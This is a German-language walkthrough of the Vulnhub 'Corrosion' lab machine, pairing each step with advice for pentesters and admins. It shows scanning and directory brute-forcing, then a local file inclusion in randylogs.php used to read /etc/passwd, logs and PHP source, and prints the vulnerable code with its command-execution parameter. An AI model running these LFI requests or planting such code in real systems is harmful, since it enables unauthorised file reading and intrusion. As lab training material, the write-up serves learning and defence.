Corrosion - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
vi (Texteditor)
nikto
gobuster
curl
wfuzz
ssh
nc (netcat)
find
Metasploit Framework
msfconsole
multi/handler
shell_to_meterpreter
local_exploit_suggester
cve_2021_4034_pwnkit

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:5d:6f:d2	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk (Subnetz) nach aktiven Hosts zu durchsuchen. Er sendet ARP-Anfragen (Address Resolution Protocol) an alle möglichen IP-Adressen im lokalen Netzwerk und listet die Hosts auf, die mit ihrer IP- und MAC-Adresse antworten. `-l` steht für `--localnet`, was den Scan auf das direkt verbundene Netzwerk beschränkt.

Bewertung: Dieser Schritt ist grundlegend in der Reconnaissance-Phase. Das Ergebnis zeigt einen aktiven Host mit der IP-Adresse `192.168.2.122` und der MAC-Adresse `08:00:27:5d:6f:d2`. Die MAC-Adresse wird von `PCS Systemtechnik GmbH` registriert, was oft ein Hinweis auf eine virtuelle Maschine ist (VirtualBox verwendet MAC-Adressen, die diesem Hersteller zugeordnet sind). Dies ist unser Zielsystem.

Empfehlung (Pentester): Die identifizierte IP-Adresse ist der Ausgangspunkt für weitere Scans (z.B. Portscans mit Nmap). Die Information über eine mögliche VM kann für spätere Schritte (z.B. Exploit-Auswahl) relevant sein.
Empfehlung (Admin): Netzwerksegmentierung und Monitoring können helfen, die Sichtbarkeit von Systemen im Netzwerk zu kontrollieren und unautorisierte Scans zu erkennen. ARP-Spoofing-Detection kann ebenfalls sinnvoll sein.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.122 -p- | grep open
22/tcp open  ssh     OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))
                    

Analyse: Dieser Nmap-Befehl führt einen schnellen Scan durch, um offene TCP-Ports auf dem Ziel `192.168.2.122` zu identifizieren. * `-sS`: Führt einen TCP SYN-Scan (Stealth Scan) durch, der schneller und unauffälliger als ein voller TCP Connect-Scan ist. * `-sC`: Führt Standard-Nmap-Skripte (NSE - Nmap Scripting Engine) zur Diensterkennung und Schwachstellenprüfung auf den gefundenen offenen Ports aus. * `-T5`: Setzt das Timing-Template auf "insane", um den Scan zu beschleunigen (potenziell auf Kosten der Genauigkeit oder Erkennung durch IDS/IPS). * `-AO`: Versucht, das Betriebssystem zu erkennen (dies ist `-O`, nicht `-AO`. `-A` wäre aggressiver Scan, der `-O`, `-sV`, `-sC` und Traceroute beinhaltet. `-AO` ist keine gültige Option, Nmap interpretiert es wahrscheinlich als `-A -O`, wobei `-A` implizit `-O` beinhaltet. Effekt ist OS-Detektion). * `-p-`: Scannt alle 65535 TCP-Ports. * `| grep open`: Filtert die Ausgabe und zeigt nur Zeilen an, die das Wort "open" enthalten, um eine schnelle Übersicht der offenen Ports zu erhalten.

Bewertung: Der Scan identifiziert zwei offene TCP-Ports: Port 22 (SSH) und Port 80 (HTTP). Die laufenden Dienste sind OpenSSH 8.4p1 und Apache httpd 2.4.46, beide auf einem Ubuntu-System. Diese Informationen sind entscheidend für die nächsten Schritte, da sie potenzielle Angriffsvektoren aufzeigen (SSH-Bruteforce/Exploits, Webserver-Schwachstellen).

Empfehlung (Pentester): Untersuche die Webanwendung auf Port 80 genauer (Verzeichnis-Bruteforce, Schwachstellenscans). Prüfe die SSH-Version auf bekannte Schwachstellen und ob schwache Anmeldedaten verwendet werden.
Empfehlung (Admin): Halte SSH und Apache auf dem neuesten Stand. Konfiguriere SSH sicher (z.B. Key-Authentifizierung, Deaktivieren von Root-Login, Fail2Ban). Konfiguriere den Webserver sicher und minimiere die Angriffsfläche.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.122 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 19:09 CEST
Nmap scan report for coffee.vuln (192.168.2.122)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 0ca71c8b4e856b168cfdb7cd5f603ea4 (RSA)
|   256 0f24f465af50d3d3aa0933c3173d63c7 (ECDSA)
|_  256 b0facd7773dae47dc875a1c55f2c210a (ED25519)
80/tcp open  http    Apache httpd 2.4.46 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.46 (Ubuntu)
MAC Address: 08:00:27:5D:6F:D2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms coffee.vuln (192.168.2.122)
                    

Analyse: Dieser Befehl ist identisch mit dem vorherigen, jedoch ohne das `| grep open`. Dadurch erhalten wir die vollständige Nmap-Ausgabe. * Die offenen Ports 22 (SSH) und 80 (HTTP) werden bestätigt. * Zusätzliche Details von den `-sC` Skripten werden angezeigt: * SSH-Hostkeys werden aufgelistet. * Der HTTP-Titel der Webseite auf Port 80 ist "Apache2 Ubuntu Default Page: It works", was auf eine Standardinstallation oder eine noch nicht konfigurierte Seite hindeutet. * Der HTTP-Server-Header bestätigt Apache/2.4.46 (Ubuntu). * Die OS-Detektion (`-O`, hier als `-AO` angegeben) identifiziert das System als Linux (Kernel 4.x oder 5.x, spezifischer 4.15 - 5.6). * Die MAC-Adresse bestätigt erneut die VirtualBox VM. * Traceroute zeigt, dass das Ziel direkt erreichbar ist (1 Hop). * Nmap hat auch einen Hostnamen `coffee.vuln` ermittelt, vermutlich über Reverse DNS oder einen anderen Mechanismus.

Bewertung: Die detaillierte Ausgabe bestätigt die vorherigen Ergebnisse und liefert zusätzliche Kontextinformationen. Der Hostname `coffee.vuln` ist ein wichtiger Fund. Die Standard-Apache-Seite deutet darauf hin, dass die eigentliche Anwendung möglicherweise in einem Unterverzeichnis liegt oder noch nicht vollständig eingerichtet ist. Die spezifische OS-Version kann bei der Suche nach Kernel-Exploits helfen.

Empfehlung (Pentester): Füge den Hostnamen `coffee.vuln` zur `/etc/hosts`-Datei hinzu, um die Webanwendung unter diesem Namen zu erreichen. Konzentriere die weitere Enumeration auf den Webserver (Port 80).
Empfehlung (Admin): Entferne oder ersetze die Standard-Webseite. Konfiguriere Hostnamen und DNS korrekt. Aktualisiere das Betriebssystem und die Dienste regelmäßig.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
 [Inhalt der /etc/hosts Datei nach der Bearbeitung]
 192.168.2.122      corrosion.vuln
                    

Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. In dieser Datei werden manuell IP-Adressen zu Hostnamen zugeordnet. Der Eintrag `192.168.2.122 corrosion.vuln` wird hinzugefügt. (Der Hostname wurde von `coffee.vuln` im Nmap-Scan zu `corrosion.vuln` geändert, was vermutlich der tatsächliche Name der Vulnhub-Maschine ist).

Bewertung: Dies ist ein wichtiger Schritt, um die Webanwendung auf dem Zielserver unter dem korrekten Hostnamen (`corrosion.vuln`) anzusprechen. Viele Webanwendungen, insbesondere solche mit virtuellen Hosts, reagieren nur korrekt, wenn sie über ihren konfigurierten Hostnamen aufgerufen werden. Ohne diesen Eintrag würde der Browser die Anfrage möglicherweise nicht korrekt an die Zielanwendung weiterleiten.

Empfehlung (Pentester): Immer wenn Nmap oder andere Tools Hostnamen aufdecken, sollten diese zur `/etc/hosts`-Datei hinzugefügt werden, um Tests gegen Webanwendungen zu erleichtern.
Empfehlung (Admin): Dies ist eine clientseitige Konfiguration und hat keine direkten Auswirkungen auf die Serversicherheit, außer dass sie Angreifern die Interaktion erleichtert. Serverseitig ist die korrekte Konfiguration von DNS und virtuellen Hosts entscheidend.

Web Enumeration

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.122
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2023-06-04 19:10:41 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.46 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5c84b4033ab77, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.46 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2023-06-04 19:10:51 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Der Befehl `nikto -h 192.168.2.122` startet einen Webserver-Schwachstellenscanner gegen das Ziel auf Port 80. Nikto prüft auf tausende bekannte gefährliche Dateien/CGIs, veraltete Softwareversionen und serverspezifische Probleme. * `-h`: Gibt das Ziel an (hier die IP-Adresse, besser wäre der Hostname `corrosion.vuln` gewesen, um vHost-Konfigurationen zu berücksichtigen).

Bewertung: Nikto liefert mehrere interessante Ergebnisse: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`): Dies sind Best Practices zur Härtung, aber selten direkt ausnutzbar für einen initialen Zugriff. * Mögliches iNode-Leck über ETags (CVE-2003-1418): Eine sehr alte Schwachstelle, meist von geringem Risiko. * Veraltete Apache-Version (2.4.46): Dies ist ein wichtiger Hinweis. Veraltete Software kann bekannte Schwachstellen enthalten. * Erlaubte HTTP-Methoden: Standardmethoden, nichts Ungewöhnliches. Die wichtigste Information ist die veraltete Apache-Version. Obwohl Nikto keine direkt ausnutzbaren Schwachstellen für einen Zugang gefunden hat, unterstreicht es die Notwendigkeit, die Webanwendung weiter zu untersuchen.

Empfehlung (Pentester): Recherchiere bekannte Schwachstellen für Apache 2.4.46 unter Ubuntu. Führe einen Verzeichnis- und Datei-Bruteforce durch, da Nikto keine CGI-Verzeichnisse gefunden hat und die Standardseite angezeigt wird. Nutze den Hostnamen `corrosion.vuln` für weitere Scans.
Empfehlung (Admin): Implementiere die fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). Deaktiviere die ETag-Header oder konfiguriere sie sicher, um iNode-Leaks zu verhindern. **Aktualisiere Apache dringend auf die neueste stabile Version.**

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://corrosion.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://corrosion.vuln
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:          200,204,301,302,307,401,405
[+] Excluded Status codes: 403,404
[+] User Agent:            gobuster/3.1.0
[+] Extensions:            txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx
[+] Expanded:              true
[+] No error:              true
[+] Timeout:               10s
===============================================================
2023/06/04 19:15:00 Starting gobuster
===============================================================
http://corrosion.vuln/index.html           (Status: 200) [Size: 10918]
http://corrosion.vuln/tasks                (Status: 301) [Size: 316] [--> http://corrosion.vuln/tasks/]
http://corrosion.vuln/blog-post            (Status: 301) [Size: 320] [--> http://corrosion.vuln/blog-post/]
http://corrosion.vuln/blog-post/index.html           (Status: 200) [Size: 190]
http://corrosion.vuln/blog-post/archives             (Status: 301) [Size: 329] [--> http://corrosion.vuln/blog-post/archives/]
http://corrosion.vuln/blog-post/image.jpg            (Status: 200) [Size: 429872]
http://corrosion.vuln/blog-post/uploads              (Status: 301) [Size: 328] [--> http://corrosion.vuln/blog-post/uploads/]
===============================================================
2023/06/04 19:18:00 Finished
===============================================================
                    

Analyse: Der Befehl `gobuster dir` wird verwendet, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen (Directory/File Bruteforcing). * `-u http://corrosion.vuln`: Gibt die Ziel-URL an (korrekterweise mit dem Hostnamen). * `-x ...`: Definiert eine lange Liste von Dateiendungen, die an jeden Eintrag in der Wortliste angehängt werden sollen, um nach spezifischen Dateitypen zu suchen. * `-w "/usr/share/seclists/..."`: Gibt den Pfad zur Wortliste an, die für den Bruteforce verwendet wird (`directory-list-2.3-medium.txt` aus SecLists ist eine gute Standardwahl). * `-b '403,404'`: Schließt Antworten mit den Statuscodes 403 (Forbidden) und 404 (Not Found) aus der Ausgabe aus, um irrelevante Ergebnisse zu reduzieren. * `-e`: Erweiterter Modus, zeigt die vollständige URL für gefundene Verzeichnisse an. * `--no-error`: Unterdrückt Fehlermeldungen (z.B. Verbindungsprobleme).

Bewertung: Gobuster hat mehrere interessante Pfade gefunden: * `/index.html`: Die Standard-Apache-Seite, die wir bereits kennen. * `/tasks` (und `/tasks/`): Ein neues Verzeichnis. * `/blog-post` (und `/blog-post/`): Ein weiteres neues Verzeichnis, das vielversprechend klingt. * Innerhalb von `/blog-post`: `/index.html`, `/archives/`, `/image.jpg`, `/uploads/`. Insbesondere die Verzeichnisse `/tasks`, `/blog-post`, `/blog-post/archives` und `/blog-post/uploads` sind vielversprechende Ziele für die weitere manuelle Untersuchung.

Empfehlung (Pentester): Untersuche die gefundenen Verzeichnisse `/tasks`, `/blog-post`, `/blog-post/archives` und `/blog-post/uploads` manuell im Browser. Suche nach interessanten Dateien, Konfigurationsdateien, Hinweisen oder weiteren Angriffsvektoren. Führe ggf. weitere Gobuster-Scans gezielt auf diese Unterverzeichnisse durch.
Empfehlung (Admin): Beschränke den Zugriff auf nicht öffentliche Verzeichnisse und Dateien. Deaktiviere Verzeichnislistings (Directory Indexing), falls nicht benötigt. Entferne unnötige Dateien und Verzeichnisse vom Webserver.

Analyse: Die folgenden Abschnitte sind keine Befehle, sondern stellen die manuelle Untersuchung der von Gobuster gefundenen Pfade dar.

[Manuelle Untersuchung im Browser] └─# Anzeige von: http://corrosion.vuln/blog-post/uploads/
(Seiteninhalt oder Quelltext)
 Welcome to my Blog!
 This website is in development. Will be updated in the next couple Months! - randy
                    

Bewertung: Das Verzeichnis `/blog-post/uploads/` scheint leer zu sein oder zeigt nur eine einfache Nachricht an. Der Hinweis "- randy" könnte ein Benutzername sein. Dies ist eine wertvolle Information.

Empfehlung (Pentester): Notiere den möglichen Benutzernamen "randy". Prüfe, ob Datei-Uploads in dieses Verzeichnis möglich sind (möglicherweise über die `/blog-post`-Anwendung).
Empfehlung (Admin): Stelle sicher, dass Upload-Verzeichnisse keine Ausführungsrechte haben und der Zugriff darauf beschränkt ist. Vermeide es, Benutzernamen oder interne Informationen in öffentlichen Kommentaren preiszugeben.

[Manuelle Untersuchung im Browser] └─# Anzeige von: http://corrosion.vuln/blog-post/archives/
------------------------------------------------------------------
Index of /blog-post/archives
------------------------------------------------------------------
 Name               Last modified     Size  Description
 Parent Directory                        -
 randylogs.php      2021-07-29 17:20  140

------------------------------------------------------------------
Apache/2.4.46 (Ubuntu) Server at corrosion.vuln Port 80
------------------------------------------------------------------
                    

Bewertung: Das Verzeichnis `/blog-post/archives/` hat Directory Listing aktiviert! Das ist oft eine Fehlkonfiguration und erlaubt uns, den Inhalt des Verzeichnisses direkt zu sehen. Es enthält eine einzige Datei: `randylogs.php`. Der Name deutet auf eine Logging- oder Log-Anzeigefunktion hin, möglicherweise im Zusammenhang mit dem Benutzer "randy". PHP-Dateien sind besonders interessant, da sie serverseitigen Code ausführen.

Empfehlung (Pentester): Untersuche die Datei `randylogs.php` genauer. Rufe sie im Browser auf und prüfe ihre Funktionalität. Suche nach Parametern, die manipuliert werden können (z.B. für Local File Inclusion - LFI).
Empfehlung (Admin): Deaktiviere Directory Listing global oder zumindest für sensible Verzeichnisse in der Apache-Konfiguration (`Options -Indexes`). Benenne Skripte nicht so, dass sie ihre Funktion verraten.

[Manuelle Untersuchung im Browser/URL-Manipulation] └─# Aufruf von: http://corrosion.vuln/blog-post/archives/randylogs.php?file=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:118:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:113:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:114:121:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:115:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
nm-openvpn:x:117:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
whoopsie:x:118:123::/nonexistent:/bin/false
sssd:x:119:124:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
saned:x:120:126::/var/lib/saned:/usr/sbin/nologin
colord:x:121:127:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
hplip:x:124:7:HPLIP system user,,,:/run/hplip:/bin/false
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
randy:x:1000:1000:randy,,,:/home/randy:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:127:65534::/run/sshd:/usr/sbin/nologin
                    

Analyse: Hier wird versucht, eine Local File Inclusion (LFI) Schwachstelle auszunutzen. Die URL `http://corrosion.vuln/blog-post/archives/randylogs.php?file=file:///etc/passwd` wird aufgerufen. Es wird angenommen, dass das PHP-Skript den Wert des `file`-Parameters nimmt und den Inhalt der entsprechenden Datei auf dem Server ausgibt. `file:///etc/passwd` ist der Pfad zur Passwortdatei auf Linux-Systemen.

Bewertung: **Volltreffer!** Die Ausgabe zeigt den Inhalt der `/etc/passwd`-Datei. Dies bestätigt eine kritische LFI-Schwachstelle in `randylogs.php`. Wir können nun beliebige Dateien auf dem Server lesen, auf die der Webserver-Benutzer (`www-data`, wie in der Datei sichtbar) Lesezugriff hat. Wir sehen auch den Benutzer "randy" mit einer Bash-Shell (`/bin/bash`), was ihn zu einem primären Ziel für den nächsten Schritt macht.

Empfehlung (Pentester): Nutze die LFI, um weitere sensible Dateien zu lesen: Konfigurationsdateien (z.B. `/etc/apache2/apache2.conf`, anwendungs-spezifische configs), Logdateien (`/var/log/apache2/access.log`, `/var/log/auth.log`), SSH-Schlüssel (`/home/randy/.ssh/id_rsa`), und den Quellcode der PHP-Anwendung selbst (z.B. `randylogs.php`). Suche nach Anmeldedaten oder anderen Informationen, die zum Initial Access führen.
Empfehlung (Admin): **Behebe die LFI-Schwachstelle dringend!** Implementiere eine Whitelist für erlaubte Dateien oder stelle sicher, dass Benutzereingaben korrekt validiert und saniert werden, bevor sie in Dateipfadoperationen verwendet werden. Deaktiviere `allow_url_include` und beschränke `open_basedir` in der `php.ini`.

Initial Access (LFI & Command Injection)

┌──(root㉿cyber)-[/var/log/apache2] └─# curl http://corrosion.vuln/blog-post/archives/randylogs.php?file=file:///etc/passwd -s| grep bash
root:x:0:0:root:/root:/bin/bash
randy:x:1000:1000:randy,,,:/home/randy:/bin/bash
                    

Analyse: Dieser Befehl verwendet `curl`, um die LFI-Schwachstelle erneut auszunutzen und den Inhalt von `/etc/passwd` abzurufen. * `-s`: Silent-Modus, unterdrückt Fortschrittsanzeigen. * `| grep bash`: Filtert die Ausgabe und zeigt nur Zeilen an, die "bash" enthalten.

Bewertung: Dies ist eine effiziente Methode, um schnell Benutzer zu identifizieren, die eine interaktive Shell (`/bin/bash`) haben und somit potenzielle Ziele für einen Login oder Privilege Escalation sind. Es bestätigt erneut die Benutzer `root` und `randy`.

Empfehlung (Pentester): Fokussiere dich auf den Benutzer `randy`, da Root-Zugriff normalerweise nicht direkt möglich ist. Versuche, über die LFI an Randys SSH-Schlüssel oder Passwort zu gelangen.
Empfehlung (Admin): Die Empfehlungen zur Behebung der LFI gelten weiterhin.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://corrosion.vuln/blog-post/archives/randylogs.php?file=FUZZ" --hc 400,401,402,403,404 --hh 0
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://corrosion.vuln/blog-post/archives/randylogs.php?file=FUZZ
Total requests: 2894

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        48 L     85 W       2832 Ch     "/etc/passwd"
000001108:   200        75 L     75 W       1059 Ch     "/etc/group"
000001092:   200        12 L     88 W       665 Ch      "/etc/fstab"
000001093:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000001089:   200        9 L      23 W       205 Ch      "/etc/hosts"
000001278:   200        1 L      52 W       321 Ch      "/proc/self/stat"
000001277:   200        0 L      1 W        27 Ch       "/proc/self/cmdline"
000001279:   200        57 L     139 W      1379 Ch     "/proc/self/status"
000001296:   200        2 L      4 W        20 Ch       "/etc/issue"
000001298:   200        23 L     205 W      1132 Ch     "/etc/crontab"
000001300:   200        1 L      23 W       179 Ch      "/proc/version"
000001311:   200        123 L    396 W      3289 Ch     "/etc/ssh/sshd_config"
000001301:   200        1 L      5 W        106 Ch      "/proc/cmdline"
000001321:   200        4 L      24 W       13050 Ch    "/var/log/wtmp"
000001320:   200        0 L      1 W        292292 Ch   "/var/log/lastlog"
000001322:   200        0 L      1 W        768 Ch      "/var/run/utmp"
000001343:   200        7491 L   111188 W   856527 Ch   "/var/log/auth.log"

Total time: 1.358221
Processed Requests: 2894
Filtered Requests: 2877
Requests/sec.: 2130.727

                    

Analyse: Hier wird `wfuzz`, ein Web-Fuzzing-Tool, eingesetzt, um die LFI-Schwachstelle systematisch zum Auffinden lesbarer Dateien zu nutzen. * `-c`: Farbige Ausgabe. * `-w /usr/share/wordlists/logfiles.txt`: Verwendet eine Wortliste, die speziell gängige Logfile-Pfade enthält. * `-u "http://...randylogs.php?file=FUZZ"`: Die Ziel-URL, wobei `FUZZ` der Platzhalter ist, der durch jeden Eintrag aus der Wortliste ersetzt wird. * `--hc 400,401,402,403,404`: Versteckt Antworten mit diesen HTTP-Statuscodes (hauptsächlich Fehler). * `--hh 0`: Versteckt Antworten mit 0 Zeichen (leere Antworten), da diese wahrscheinlich nicht existierende oder nicht lesbare Dateien sind.

Bewertung: Wfuzz findet mehrere lesbare Dateien, darunter Konfigurationsdateien (`apache2.conf`, `hosts`, `sshd_config`) und Systeminformationen (`/proc/...`). Besonders hervorzuheben ist `/var/log/auth.log`. Diese Datei protokolliert Authentifizierungsversuche, einschließlich SSH-Logins. Wenn wir diese Datei lesen und gleichzeitig einen SSH-Login-Versuch mit einem präparierten Benutzernamen durchführen, könnten wir möglicherweise Code einschleusen (Log Poisoning).

Empfehlung (Pentester): Untersuche den Inhalt von `/var/log/auth.log` genauer über die LFI. Plane einen SSH-Log-Poisoning-Angriff: Versuche, dich per SSH mit einem Benutzernamen anzumelden, der PHP-Code enthält (z.B. `ssh ''@corrosion.vuln`). Lese dann `/var/log/auth.log` über die LFI und prüfe, ob der PHP-Code ausgeführt wird, wenn die Logdatei inkludiert wird.
Empfehlung (Admin): Beschränke den Zugriff auf Logdateien so weit wie möglich. Stelle sicher, dass der Webserver-Benutzer keinen unnötigen Lesezugriff auf System-Logdateien hat. Die Behebung der LFI ist die primäre Maßnahme.

[Manuelle Untersuchung im Browser/URL-Manipulation] └─# Aufruf von: http://corrosion.vuln/blog-post/archives/randylogs.php?file=php://filter/convert.base64-encode/resource=randylogs.php
PD9waHAKICAgJGNtZCA9ICRfR0VUWydjbWQnXSA7CiAgIGlmKGlzc2V0KCRjbWQpKQogICB7CiAgICAgICBzeXN0ZW0oJGNtZCk7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBwcmludCAiV2VsY29tZSB0byBteSBCbG9nISBcblRoaXMgd2Vic2l0ZSBpcyBpbiBkZXZlbG9wbWVudC4gV2lsbCBiZSB1cGRhdGVkIGluIHRoZSBuZXh0IGNvdXBsZSBNb250aHMhIC0gcmFuZHkiOwogICB9CiAgIAogICA/PgoKPD9waHAKICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOwogICBpZihpc3NldCgkZmlsZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoIiRmaWxlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBpbmNsdWRlKCJpbmRleC5waHAiKTsKICAgfQogICA=
                    

Analyse:** Hier wird ein PHP-Wrapper (`php://filter`) verwendet, um den Quellcode der Datei `randylogs.php` selbst über die LFI-Schwachstelle auszulesen. * `php://filter/convert.base64-encode/resource=randylogs.php`: Dieser Teil weist PHP an, den Filter `convert.base64-encode` auf die Ressource `randylogs.php` anzuwenden, bevor sie inkludiert (und damit ausgegeben) wird. Base64-Kodierung wird verwendet, um sicherzustellen, dass der PHP-Code nicht vom Server interpretiert wird, sondern als Text ausgegeben wird.

Bewertung:** Die Base64-kodierte Ausgabe kann dekodiert werden, um den Quellcode zu erhalten. Der dekodierte Code (im Bericht separat dargestellt) ist extrem unsicher: ```php ``` Dies bestätigt die LFI-Schwachstelle auf die denkbar einfachste Weise: Der `file`-Parameter wird ohne jegliche Validierung oder Sanitisierung direkt in die `include()`-Funktion übergeben. Dies ist ein klassisches Beispiel für eine kritische LFI.

Empfehlung (Pentester):** Der Quellcode bestätigt den LFI-Vektor. Die Strategie des SSH-Log-Poisonings ist nun sehr vielversprechend, da die `include()`-Funktion PHP-Code ausführen kann, der in die inkludierte Datei (z.B. `auth.log`) geschrieben wurde.
Empfehlung (Admin):** **Dringend beheben!** Niemals Benutzereingaben direkt in Dateifunktionen wie `include()`, `require()`, `fopen()` etc. verwenden. Immer validieren, sanitisieren und idealerweise eine Whitelist verwenden.

[Dekodierter Base64-Inhalt von randylogs.php] └─#
 
 $cmd = $ GET['cmd'] ; 
  if(isset($cmd))
 {
     system($cmd);
  }
  else
  {
      print "Welcome to my Blog! \nThis website is in development. Will be updated in the next couple Months! - randy";
 }
 

 
   $file = $ GET['file'];
   if(isset($file))
   {
       include("$file"); // Hier ist die LFI
   }
   else
   {
       include("index.php"); // Standard-Include
   }
 

